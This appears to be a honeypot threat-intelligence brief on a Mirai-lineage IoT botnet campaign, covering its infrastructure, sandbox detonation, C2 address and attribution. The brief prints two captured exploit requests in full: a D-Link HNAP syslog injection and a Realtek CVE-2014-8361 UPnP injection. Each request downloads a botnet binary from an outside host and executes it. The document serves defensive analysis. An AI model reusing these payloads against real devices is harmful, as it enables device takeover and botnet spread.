KAIZEN / KWARI — IoT Botnet Campaign

Between 2026-05-25 and 2026-06-23, the cowrAI honeypot fleet observed a coordinated IoT exploitation campaign distributing Mirai-lineage binaries under two distinct naming conventions: kaizen.* and kwari.*. The campaign targets embedded devices via two pre-authentication remote code execution vulnerabilities: a D-Link DSL-2750B syslog command injection (140 events, 19 scanner IPs) and the well-known Realtek miniigd UPnP SOAP injection (CVE-2014-8361, 51 events, 12 scanner IPs).

Sandbox detonation of kwari.x86 and kwari.mips confirmed live C2 connectivity to 185.234.100.154:2310, the same IP serving binary downloads, with both samples running for the full 300-second observation window and generating 13–14 MB of C2 beacon traffic.

Infrastructure is actively expanding: a fourth distribution node (196.251.121.142) was observed today (2026-06-23) serving the latest kaizen.arm7 build. The dual naming and separate distribution paths suggest either two operators sharing C2 infrastructure or a single operator using naming to track separate exploitation campaigns. The defense_evasion triage tag — unusual for run-of-the-mill Mirai forks — warrants attention.

Sandbox Detonation Results

Two samples (kwari.x86, kwari.mips) successfully detonated in isolated WARP-egress sandbox. Both ran for the full 300-second observation window and immediately contacted C2.

ARM samples did not detonate (x86-only sandbox). 13–14 MB of C2 beacon traffic per session is characteristic of Mirai keeping-alive with DDoS target lists.

Defense Evasion Tag — Unusual for Mirai Forks

tria.ge flags kaizen.arm7 with defense_evasion alongside standard discovery and botnet:kaizen tags. Vanilla Mirai forks typically only trigger execution and c2 tags. Defense evasion suggests possible anti-analysis code (VM detection, sleep-before-connect, or signal-based anti-debugging) not present in the canonical Mirai codebase. Further static analysis warranted.

Vector 1 — D-Link DSL-2750B HNAP Syslog Command Injection

Scanner: 176.65.139.22. Targets the HNAP remote syslog configuration endpoint. The remote_host parameter accepts shell metacharacters without sanitization. URL-encoded semicolons (%3b) terminate the expected value and inject arbitrary commands. No authentication required.

POST /HNAP1/ HTTP/1.1
SOAPAction: "http://purenetworks.com/HNAP1/SetSyslogSettings"
Content-Type: text/xml

remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&
LogFlag=0&remote_host=%3bcd+/tmp;wget+http://83.142.209.46/a3f8d2/kaizen.arm7;
chmod+777+kaizen.arm7;./kaizen.arm7;rm+-rf+kaizen.arm7%3b%2

Decoded injection: ; cd /tmp; wget http://83.142.209.46/a3f8d2/kaizen.arm7; chmod 777 kaizen.arm7; ./kaizen.arm7; rm -rf kaizen.arm7

Vector 2 — Realtek miniigd UPnP SOAP Injection (CVE-2014-8361)

Scanners: 177.22.44.30, 176.65.139.22. Targets Realtek SDK UPnP daemon (port 52869 or 37215). The NewInternalClient SOAP field is passed to a shell without sanitization. Backtick injection executes arbitrary commands as root. Binary launched with arg realtek for Mirai-style self-replication tracking.

POST /picsdesc.xml HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping"

<NewInternalClient>`cd /tmp; rm -rf kaizen.mips; wget http://83.142.209.46/a3f8d2/kaizen.mips;
chmod 777 kaizen.mips; ./kaizen.mips realtek`</NewInternalClient>

The realtek arg in ./kaizen.mips realtek follows Mirai convention: argv[1] identifies the infection vector for operator reporting.

Distinct from FROSTY Campaign

The FROSTY campaign (also tracked by this fleet) shares the Realtek CVE-2014-8361 vector but is otherwise distinct: FROSTY additionally exploits CVE-2017-17215 (Huawei HG532), uses entirely different distribution infrastructure, carries 41/62 VT detections (vs 0 here), and routes C2 through a separate IP space. Binary naming conventions (frosty.* vs kaizen.*/kwari.*), distribution paths, and C2 endpoints are all different. These are unrelated operators.

Dual Naming Hypothesis

The kaizen.* and kwari.* naming across separate distribution IPs suggests either: (a) two operators sharing the same C2 infrastructure at 185.234.100.154:2310, each naming their build separately, or (b) a single operator using naming to differentiate exploitation campaigns (kaizen = CVE-targeted, kwari = SSH brute-force). The co-located C2 endpoint favors (b). The Japanese word "kaizen" (改善, continuous improvement) as a botnet name is an unusual choice.

Data collected passively by the cowrAI distributed honeypot fleet — 36 cowrie 2.9.17 nodes across multiple providers in Europe, North America, and Asia-Pacific. Nodes run SSH/Telnet lures plus 9 alt-protocol lure daemons including soaplure (ports 7547, 37215, 52869) which captured both CVE payloads.

Binaries are automatically retrieved by a chase-runner sidecar (5-minute polling interval), SHA256-hashed, stored in R2, and submitted to VirusTotal and tria.ge. Confirmed samples are detonated in an isolated sandbox using WARP-egress with network capture.

This brief was generated from live sensor data collected between 2026-05-25 and 2026-06-23. All IOCs are derived from direct honeypot captures — no third-party threat feed enrichment.